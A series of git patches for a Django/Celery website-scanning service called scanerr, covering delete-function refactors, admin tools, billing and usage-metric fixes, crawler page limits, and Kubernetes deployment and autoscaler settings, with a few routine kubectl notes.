@@ -4458,31 +4492,38 @@ def copy_case(request: object) -> object:
 
 
 
-def delete_case(request: object, id: str) -> object:
+def delete_case(request: object=None, id: str=None, account: object=None) -> object:
     """ 
     Deletes the `Case` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
-        'id'      : str
+        'id'      : str,
+        'account' : object,
     }
 
     Returns -> HTTP Response object
     """
 
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        account = Member.objects.get(user=request.user).account
+        user = request.user
+    
+    if not request:
+        user = account.user
 
     # checking account and resource 
     check_data = check_account_and_resource(
-        request=request, resource='case', 
+        user=user, resource='case', 
         case_id=id
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # get case if checks passed
     case = Case.objects.get(id=id)
@@ -4495,9 +4536,11 @@ def delete_case(request: object, id: str) -> object:
 
     # return response
     data = {'message': 'Case has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
 
 
 
@@ -4762,31 +4805,38 @@ def get_testcase(request: object, id: str) -> object:
 
 
 
-def delete_testcase(request: object, id: str) -> object:
+def delete_testcase(request: object=None, id: str=None, account: object=None) -> object:
     """ 
     Deletes the `Testcase` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
-        'id'      : str
+        'id'      : str,
+        'account' : object
     }
 
     Returns -> HTTP Response object
     """
 
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        account = Member.objects.get(user=request.user).account
+        user = request.user
+    
+    if not request:
+        user = account.user
 
     # checking account and resource 
     check_data = check_account_and_resource(
-        request=request, resource='testcase', 
+        user=user, resource='testcase', 
         testcase_id=id
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # get testcase if checks passed
     testcase = Testcase.objects.get(id=id)
@@ -4799,9 +4849,11 @@ def delete_testcase(request: object, id: str) -> object:
 
     # return response
     data = {'message': 'Testcase has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
 
 
 

From 8e8e90e96004a42ff26973bc3033430de3f49ab7 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 10:55:20 -0600
Subject: [PATCH 649/752] debugging rest_usage()

---
 app/api/tasks.py | 2 --
 1 file changed, 2 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 2bbf0d0b..11b4f271 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1142,8 +1142,6 @@ def reset_usage(account):
                 account.sub_id
             )
 
-            print(sub)
-
             # get and formate sub.current_period_end
             sub_date = datetime.fromtimestamp(
                 sub.current_period_end

From 728ec51e882cc76c84502138d1b9f753cc2419ce Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 11:16:20 -0600
Subject: [PATCH 650/752] finalized new admin tools

---
 app/api/admin.py               | 63 +++++++++++++++++-----------------
 app/api/tasks.py               |  9 +++--
 app/api/v1/billing/services.py |  1 +
 3 files changed, 39 insertions(+), 34 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index a2ec4e7d..850429a0 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -15,6 +15,38 @@
 
 
 
+@admin.register(Account)
+class AccountAdmin(admin.ModelAdmin):
+    list_display = ('__str__', 'time_created', 'type')
+    search_fields = ('__str__',)
+    actions = ['reset_usage',]
+
+    def reset_usage(self, request, queryset):
+        for account in queryset:
+            reset_account_usage.delay(
+                account_id=account.id
+            )
+
+
+
+
+@admin.register(Member)
+class MemberAdmin(admin.ModelAdmin):
+    list_display = ('user', 'account', 'time_created', 'type', 'status')
+    search_fields = ('user__username', 'account__name')
+
+
+
+
+@admin.register(Card)
+class CardAdmin(admin.ModelAdmin):
+    list_display = ('__str__', 'brand', 'last_four')
+    search_fields = ('last_four',)
+
+
+
+
+
 @admin.register(Site)
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('site_url', 'account', 'time_created')
@@ -116,37 +148,6 @@ def mark_as_completed(self, request, queryset):
 
 
 
-@admin.register(Account)
-class AccountAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'time_created', 'type')
-    search_fields = ('__str__',)
-    actions = ['reset_usage',]
-
-    def reset_usage(self, request, queryset):
-        for account in queryset:
-            reset_account_usage(
-                account_id=account.id
-            )
-
-
-
-
-@admin.register(Member)
-class MemberAdmin(admin.ModelAdmin):
-    list_display = ('user', 'account', 'time_created', 'type', 'status')
-    search_fields = ('user__username', 'account__name')
-
-
-
-
-@admin.register(Card)
-class CardAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'brand', 'last_four')
-    search_fields = ('last_four',)
-
-
-
-
 @admin.register(Report)
 class ReportAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'user')
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 11b4f271..a5f1747d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1160,15 +1160,18 @@ def reset_usage(account):
             # get last usage reset date from meta
             last_usage_date_str = account.meta.get('last_usage_reset')
             if last_usage_date_str is not None:
+                
+                # clean date_str
+                last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
 
                 # format date str as datetime obj
-                f = '%Y-%m-%d %H:%M:%S'
+                f = '%Y-%m-%d %H:%M:%S.%f'
                 last_usage_date = datetime.strptime(last_usage_date_str, f)
 
-                print(f'days since last reset -> {abs(today - last_usage_date)}')
+                print(f'days since last reset -> {abs((today - last_usage_date).days)}')
 
                 # check if over 30 days
-                if abs(today - last_usage_date) >= 30:
+                if abs((today - last_usage_date).days) >= 30:
                     reset_usage(account)
 
                 # udpate account.meta.last_usage_reset
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 641a0173..6575fe7b 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -622,6 +622,7 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
             'tests_allowed': 30, 
             'testcases_allowed': 15,
         }
+        account.meta['last_usage_reset'] = datetime.today().strftime('%Y-%m-%d %H:%M:%S.%f')
 
         # save Account
         account.save()

From b136820fabd8c282fc30e1dfbeb3aeae5a490063 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 11:57:15 -0600
Subject: [PATCH 651/752] fixed issue with invoice display

---
 app/api/v1/billing/services.py | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 6575fe7b..1bf499d1 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -2,7 +2,7 @@
 from rest_framework import status
 from django.contrib.auth.models import User
 from django.core import serializers
-from datetime import date, datetime
+from datetime import date, datetime, timedelta
 from ...models import Account, Card, Site, Issue
 from ..ops.services import delete_site
 from ..auth.services import create_or_update_account
@@ -687,9 +687,17 @@ def get_stripe_invoices(request: object) -> object:
         # build list of Stripe Invice objects
         for invoice in invoice_body.data:
 
-            # clean product name
+            print(invoice)
+
+            # clean product name & get interval
             product_name = invoice['lines']['data'][0]['description']
             product_name = product_name.split('1 × ')[1].split(' (')[0]
+            interval = invoice['lines']['data'][0]['plan']['interval']
+
+            # get end_date
+            period_start = datetime.fromtimestamp(invoice.period_start)
+            new = period_start + timedelta(days=30 if interval == 'month' else 365)
+            period_end = int(new.timestamp())
 
             i_list.append({
                 'id': invoice.id,
@@ -703,7 +711,7 @@ def get_stripe_invoices(request: object) -> object:
                 'invoice_pdf': invoice.invoice_pdf,
                 'number': invoice.number,
                 'period_start': invoice.period_start,
-                'period_end': invoice.period_end
+                'period_end': period_end
             })
         
         # format response

From 842d651773a9eb50cf443a1b2ba4b10d634c8644 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 12:24:26 -0600
Subject: [PATCH 652/752] updating site_metrics

---
 app/api/v1/ops/services.py | 21 ++++++++++++++-------
 1 file changed, 14 insertions(+), 7 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 42bb25d7..440b8280 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5338,9 +5338,12 @@ def get_site_metrics(request: object) -> object:
     pages = Page.objects.filter(site=site)
 
     # setting detaults
-    testcases = round(account.usage['testcases'] / max_sites) if account.usage['testcases'] > 0 else 0
-    tests = round(account.usage['tests'] / max_sites) if account.usage['tests'] > 0 else 0
-    scans = round(account.usage['scans'] / max_sites) if account.usage['scans'] > 0 else 0
+    # testcases = round(account.usage['testcases'] / max_sites) if account.usage['testcases'] > 0 else 0
+    # tests = round(account.usage['tests'] / max_sites) if account.usage['tests'] > 0 else 0
+    # scans = round(account.usage['scans'] / max_sites) if account.usage['scans'] > 0 else 0
+    tests = account.usage['tests']
+    scans = account.usage['scans']
+    testcases = account.usage['testcases']
     schedules = Schedule.objects.filter(site=site).count()
 
     # calculating page scoped schedules
@@ -5350,10 +5353,14 @@ def get_site_metrics(request: object) -> object:
     # calculate usage
     pages = pages.count()
     pages_usage = round((pages/account.max_pages)*100, 2) if pages > 0 else 0
-    scans_usage = round((scans/round(account.usage['scans_allowed']/max_sites))* 100, 2) if scans > 0 else 0
-    tests_usage = round((tests/round(account.usage['tests_allowed']/max_sites))* 100, 2) if tests > 0 else 0
-    testcases_usage = round((testcases/round(account.usage['testcases_allowed']/max_sites))* 100, 2) if testcases > 0 else 0
-    schedules_usage = round((schedules/round(account.max_schedules/max_sites))*100, 2) if schedules > 0 else 0
+    # scans_usage = round((scans/round(account.usage['scans_allowed']/max_sites))* 100, 2) if scans > 0 else 0
+    # tests_usage = round((tests/round(account.usage['tests_allowed']/max_sites))* 100, 2) if tests > 0 else 0
+    # testcases_usage = round((testcases/round(account.usage['testcases_allowed']/max_sites))* 100, 2) if testcases > 0 else 0
+    # schedules_usage = round((schedules/round(account.max_schedules/max_sites))*100, 2) if schedules > 0 else 0
+    schedule_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
+    scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
+    tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0
+    testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0
 
 
     # format data

From fbf06d42a6dc16ede0c728af2620faef2deaa632 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 12:27:34 -0600
Subject: [PATCH 653/752] sifed metrics bug

---
 app/api/v1/ops/services.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 440b8280..f3a1a9cd 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5289,7 +5289,7 @@ def get_home_metrics(request: object) -> object:
     # calculate usages
     sites = sites.count()
     sites_usage = round((sites/account.max_sites)*100, 2) if sites > 0 else 0
-    schedule_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
+    schedules_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
     scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
     tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0
     testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0
@@ -5303,7 +5303,7 @@ def get_home_metrics(request: object) -> object:
         "scans": scans,
         "scans_usage": scans_usage,
         "schedules": schedules,
-        "schedules_usage": schedule_usage,
+        "schedules_usage": schedules_usage,
         "testcases": testcases,
         "testcases_usage": testcases_usage,
         "open_issues": issues,
@@ -5357,7 +5357,7 @@ def get_site_metrics(request: object) -> object:
     # tests_usage = round((tests/round(account.usage['tests_allowed']/max_sites))* 100, 2) if tests > 0 else 0
     # testcases_usage = round((testcases/round(account.usage['testcases_allowed']/max_sites))* 100, 2) if testcases > 0 else 0
     # schedules_usage = round((schedules/round(account.max_schedules/max_sites))*100, 2) if schedules > 0 else 0
-    schedule_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
+    schedules_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
     scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
     tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0
     testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0

From bd09e4a76297011f78aa4fe74983a6f60cc53182 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 12:35:47 -0600
Subject: [PATCH 654/752] fixed counting issues with bulk scan/test creation

---
 app/api/v1/ops/services.py | 32 ++++++++++++++++++++------------
 1 file changed, 20 insertions(+), 12 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f3a1a9cd..eb1f572d 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1646,10 +1646,13 @@ def create_many_scans(request: object) -> object:
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
+                    print(res['message'])
             except Exception as e:
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
+                print(e)
+                if str(id) not in failed:
+                    num_failed += 1
+                    this_status = False
+                    failed.append(str(id))
 
     # scoped for pages
     if page_ids:
@@ -1671,10 +1674,13 @@ def create_many_scans(request: object) -> object:
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
+                    print(res['message'])
             except Exception as e:
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
+                print(e)
+                if str(id) not in failed:
+                    num_failed += 1
+                    this_status = False
+                    failed.append(str(id))
 
     # format and return
     data = {
@@ -2335,9 +2341,10 @@ def create_many_tests(request: object) -> object:
                     print(res['message'])
             except Exception as e:
                 print(e)
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
+                if str(id) not in failed:
+                    num_failed += 1
+                    this_status = False
+                    failed.append(str(id))
 
     # scoped for pages
     if page_ids:
@@ -2363,9 +2370,10 @@ def create_many_tests(request: object) -> object:
                     print(res['message'])
             except Exception as e:
                 print(e)
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
+                if str(id) not in failed:
+                    num_failed += 1
+                    this_status = False
+                    failed.append(str(id))
 
     # format and return
     data = {

From 2dcdfd1ff0a003b41da8c5d679fb4dba910c2d6f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 12:48:54 -0600
Subject: [PATCH 655/752] cleaning things up

---
 app/api/v1/billing/services.py | 2 --
 1 file changed, 2 deletions(-)

diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 1bf499d1..e1973a43 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -687,8 +687,6 @@ def get_stripe_invoices(request: object) -> object:
         # build list of Stripe Invice objects
         for invoice in invoice_body.data:
 
-            print(invoice)
-
             # clean product name & get interval
             product_name = invoice['lines']['data'][0]['description']
             product_name = product_name.split('1 × ')[1].split(' (')[0]

From b2776b8285f4092bb05cee0728ab7308a55aba52 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 13:08:43 -0600
Subject: [PATCH 656/752] updated for new entrypoints

---
 k8s/prod/app-deployment.yaml    | 4 ++--
 k8s/prod/beat-deployment.yaml   | 4 ++--
 k8s/prod/celery-deployment.yaml | 4 ++--
 notes/Kubernetes.md             | 2 +-
 4 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 04b1f53e..ba7beb4a 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,11 +18,11 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # scanerr/server:9dbc3d9 # 
+          image:  <IMAGE> # scanerr/server:49709ea #
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
-          command: ["/remote-entrypoint.sh", "app"]
+          command: ["/entrypoint.sh", "app", "remote"]
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
index f1dea922..3113178d 100644
--- a/k8s/prod/beat-deployment.yaml
+++ b/k8s/prod/beat-deployment.yaml
@@ -19,9 +19,9 @@ spec:
         - name: regcred
       containers:
         - name: beat
-          image: <IMAGE> # scanerr/server:bf1dab1 # 
+          image: <IMAGE> # scanerr/server:49709ea # 
           imagePullPolicy: Always
-          command: ["/remote-entrypoint.sh", "beat"]
+          command: ["/entrypoint.sh", "beat"]
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 72702db9..417f58ae 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -19,9 +19,9 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image:  <IMAGE> # scanerr/server:9dbc3d9 # 
+          image:  <IMAGE> # scanerr/server:49709ea # 
           imagePullPolicy: Always
-          command: ["/remote-entrypoint.sh", "celery"]
+          command: ["/entrypoint.sh", "celery"]
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 062b2ec1..e2f6ac7f 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -160,7 +160,7 @@ kubectl port-forward service/app-service 8000:8000
  - When reprovisioning to new domains and SSL certs ensure all `certificates` & `secrets` are deleted
    - `kubectl delete certificate <cert-name>`
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
- - Restart both celery & app deployments for a config-map change:
+ - Restart celery, beat, &b app deployments for a config-map change:
    - `kubectl rollout restart deployment app-deployment celery-deployment`
  - Get Current IPs for pods:
    - `kubectl exec <container-id> -- curl -s http://checkip.dyndns.org/ | sed 's/[a-zA-Z<>/ :]//g'`

From 71c3151f4ac26643f8332570ca371f6b65387a40 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 15 Aug 2024 11:31:47 -0600
Subject: [PATCH 657/752] fixing crawler bug

---
 app/api/tasks.py | 22 +++++++++++++---------
 1 file changed, 13 insertions(+), 9 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a5f1747d..c4da83c8 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -178,20 +178,21 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
         old_urls.append(p.page_url)
 
     # crawl site 
-    new_pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
-    add_pages = []
+    new_urls = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
+    add_urls = []
 
-    # checking if allowed to add new page
-    for page in new_pages:
-        if not page in old_urls and (len(add_pages) + len(old_urls) <= site.account.max_pages):
-            add_pages.append(page)
+    # checking for duplicates
+    for url in new_urls:
+        if not url in old_urls:
+            add_urls.append(url)
 
     # loop thorugh crawled pages 
     # and add if not present  
-    for url in add_pages:
+    current_count = len(old_urls)
+    for url in add_urls:
 
-        # add new page
-        if not Page.objects.filter(site=site, page_url=url).exists():
+        # add new page if room exists
+        if current_count < site.account.max_pages:
             page = Page.objects.create(
                 site=site,
                 page_url=url,
@@ -218,6 +219,9 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
                 page.info["latest_scan"]["time_created"] = str(scan.time_created)
                 page.save()
 
+            # increment
+            current_count += 1
+
     # updating site status
     site.time_crawl_completed = timezone.now()
     site.save()

From 1ee8e4e96de3f9b0dce873da61c0e0e00c5ae7f6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 15 Aug 2024 12:54:44 -0600
Subject: [PATCH 658/752] debugging celery autoscaler

---
 app/api/v1/ops/services.py | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index eb1f572d..96cdcaa3 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5412,6 +5412,13 @@ def get_celery_metrics(request: object) -> object:
     reserved = i.reserved()
     # Active tasks
     active = i.active()
+
+    print('\n\n-reserved-\n\n')
+    print(reserved)
+
+    print('\n\n-active-\n\n')
+    print(active)
+
     
     # init task & replica counters
     # & ratio 

From dc62d7626dd0f21b0a98113994f4b40e46bfc20c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 15 Aug 2024 13:34:33 -0600
Subject: [PATCH 659/752] testing 'task_acks_late' as False

---
 app/scanerr/celery.py                         |  2 +-
 k8s/prod/celery-autoscaler.yaml               |  2 +-
 k8s/prod/old_configs/rabbitmq-deployment.yaml | 31 +++++++-----
 k8s/prod/rabbitmq-deployment.yaml             | 49 -------------------
 4 files changed, 22 insertions(+), 62 deletions(-)
 delete mode 100644 k8s/prod/rabbitmq-deployment.yaml

diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py
index e194b19a..c014b861 100644
--- a/app/scanerr/celery.py
+++ b/app/scanerr/celery.py
@@ -19,7 +19,7 @@
 
 # celery and beat configs
 app.conf.update(
-    task_acks_late=True,
+    task_acks_late=False,
     worker_prefetch_multiplier=1,
     worker_hijack_root_logger=False,
     task_always_eager=False,
diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index 173e3533..7f3c6d69 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -12,6 +12,6 @@ spec:
   triggers:
     - type: metrics-api
       metadata:
-        targetValue: "5"
+        targetValue: "0"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
         valueLocation: "num_tasks"
\ No newline at end of file
diff --git a/k8s/prod/old_configs/rabbitmq-deployment.yaml b/k8s/prod/old_configs/rabbitmq-deployment.yaml
index ac35aff4..18ada4c6 100644
--- a/k8s/prod/old_configs/rabbitmq-deployment.yaml
+++ b/k8s/prod/old_configs/rabbitmq-deployment.yaml
@@ -1,22 +1,26 @@
 apiVersion: apps/v1
 kind: Deployment
 metadata:
+  labels:
+    service: rabbitmq
   name: rabbitmq
 spec:
-  replicas: 2
+  replicas: 1
   selector:
     matchLabels:
-      name: rabbitmq
+      service: rabbitmq
+  strategy: {}
   template:
     metadata:
       labels:
-        name: rabbitmq
+        service: rabbitmq
     spec:
+      restartPolicy: Always
       containers:
-        - name: rabbitmq
-          image: rabbitmq:alpine
+        - image: rabbitmq:alpine
+          name: rabbitmq
           ports:
-          - containerPort: 5672
+            - containerPort: 5672
           resources: 
             limits:
               cpu: "250m"
@@ -24,17 +28,22 @@ spec:
             requests:
               cpu: "100m"
               memory: "100Mi"
+status: {}
+
+
 
 ---
+
 apiVersion: v1
 kind: Service
 metadata:
-  name: rabbitmq
   labels:
-    app: rabbitmq
+    service: rabbitmq
+  name: rabbitmq
 spec:
-  type: ClusterIP
   ports:
-  - port: 5672
+    - name: "5672"
+      port: 5672
+      targetPort: 5672
   selector:
-    name: rabbitmq
+    service: rabbitmq
diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/rabbitmq-deployment.yaml
deleted file mode 100644
index 18ada4c6..00000000
--- a/k8s/prod/rabbitmq-deployment.yaml
+++ /dev/null
@@ -1,49 +0,0 @@
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    service: rabbitmq
-  name: rabbitmq
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      service: rabbitmq
-  strategy: {}
-  template:
-    metadata:
-      labels:
-        service: rabbitmq
-    spec:
-      restartPolicy: Always
-      containers:
-        - image: rabbitmq:alpine
-          name: rabbitmq
-          ports:
-            - containerPort: 5672
-          resources: 
-            limits:
-              cpu: "250m"
-              memory: "250Mi"
-            requests:
-              cpu: "100m"
-              memory: "100Mi"
-status: {}
-
-
-
----
-
-apiVersion: v1
-kind: Service
-metadata:
-  labels:
-    service: rabbitmq
-  name: rabbitmq
-spec:
-  ports:
-    - name: "5672"
-      port: 5672
-      targetPort: 5672
-  selector:
-    service: rabbitmq

From 0da1ca64038a951115597f17644195eb19adc27f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 15 Aug 2024 14:37:02 -0600
Subject: [PATCH 660/752] updating celery metrics, autoscalers, and
 terminationPeroids

---
 app/api/v1/ops/services.py      | 16 ++++++++++++++--
 k8s/prod/celery-autoscaler.yaml |  4 ++--
 k8s/prod/celery-deployment.yaml |  4 ++--
 k8s/prod/ylt-autoscaler.yaml    |  2 +-
 k8s/prod/ylt-deployment.yaml    |  2 +-
 notes/Kubernetes.md             |  2 ++
 6 files changed, 22 insertions(+), 8 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 96cdcaa3..767254db 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -6,7 +6,9 @@
 from rest_framework.response import Response
 from rest_framework import status
 from scanerr import celery
+from redis import Redis
 from scanerr import settings
+from celery import app
 from .serializers import *
 from ...tasks import *
 from rest_framework.pagination import LimitOffsetPagination
@@ -5406,6 +5408,16 @@ def get_celery_metrics(request: object) -> object:
     Returns -> HTTP Response object
     """
 
+    
+    # get redis queue len
+    redis_client = Redis.from_url(
+        settings.CELERY_BROKER_URL, 
+        socket_connect_timeout=3
+    )
+    redis_queue_len = redis_client.llen(
+        app.default_app.conf.task_default_queue
+    )
+
     # Inspect all nodes.
     i = celery.app.control.inspect()
     # Tasks received, but are still waiting to be executed.
@@ -5419,7 +5431,6 @@ def get_celery_metrics(request: object) -> object:
     print('\n\n-active-\n\n')
     print(active)
 
-    
     # init task & replica counters
     # & ratio 
     num_tasks = 0
@@ -5442,7 +5453,8 @@ def get_celery_metrics(request: object) -> object:
     data = {
         "num_tasks": num_tasks,
         "num_replicas": num_replicas,
-        "ratio": ratio
+        "ratio": ratio,
+        "redis_queue": redis_queue_len
     }
 
     # return response
diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index 7f3c6d69..4c02a557 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -5,13 +5,13 @@ metadata:
 spec:
   scaleTargetRef:
     name: celery-deployment
-  cooldownPeriod:  4000
+  cooldownPeriod:  300
   pollingInterval: 15
   minReplicaCount: 2
   maxReplicaCount: 15
   triggers:
     - type: metrics-api
       metadata:
-        targetValue: "0"
+        targetValue: "5"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
         valueLocation: "num_tasks"
\ No newline at end of file
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 417f58ae..90f8eb5a 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -14,12 +14,12 @@ spec:
       labels:
         app: celery-deployment
     spec:
-      terminationGracePeriodSeconds: 4000
+      terminationGracePeriodSeconds: 30
       imagePullSecrets:
         - name: regcred
       containers:
         - name: celery
-          image:  <IMAGE> # scanerr/server:49709ea # 
+          image:  <IMAGE> # scanerr/server:20d9159 # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "celery"]
           envFrom:
diff --git a/k8s/prod/ylt-autoscaler.yaml b/k8s/prod/ylt-autoscaler.yaml
index 1c4071f4..a4bb4154 100644
--- a/k8s/prod/ylt-autoscaler.yaml
+++ b/k8s/prod/ylt-autoscaler.yaml
@@ -5,7 +5,7 @@ metadata:
 spec:
   scaleTargetRef:
     name: ylt-deployment
-  cooldownPeriod:  4000
+  cooldownPeriod:  300
   pollingInterval: 15
   minReplicaCount: 2
   maxReplicaCount: 15
diff --git a/k8s/prod/ylt-deployment.yaml b/k8s/prod/ylt-deployment.yaml
index 37277f4e..f41212e1 100644
--- a/k8s/prod/ylt-deployment.yaml
+++ b/k8s/prod/ylt-deployment.yaml
@@ -14,7 +14,7 @@ spec:
       labels:
         app: ylt-deployment
     spec:
-      terminationGracePeriodSeconds: 4000
+      terminationGracePeriodSeconds: 30
       containers:
       - name: yellowlab
         image: scanerr/ylt
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index e2f6ac7f..b5c1ed85 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -162,6 +162,8 @@ kubectl port-forward service/app-service 8000:8000
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
  - Restart celery, beat, &b app deployments for a config-map change:
    - `kubectl rollout restart deployment app-deployment celery-deployment`
+ - Check status of deployment rollout
+   - `kubectl rollout status deployment/app-deployment`
  - Get Current IPs for pods:
    - `kubectl exec <container-id> -- curl -s http://checkip.dyndns.org/ | sed 's/[a-zA-Z<>/ :]//g'`
  - Force delete pods that are stuck in `Terminating`:

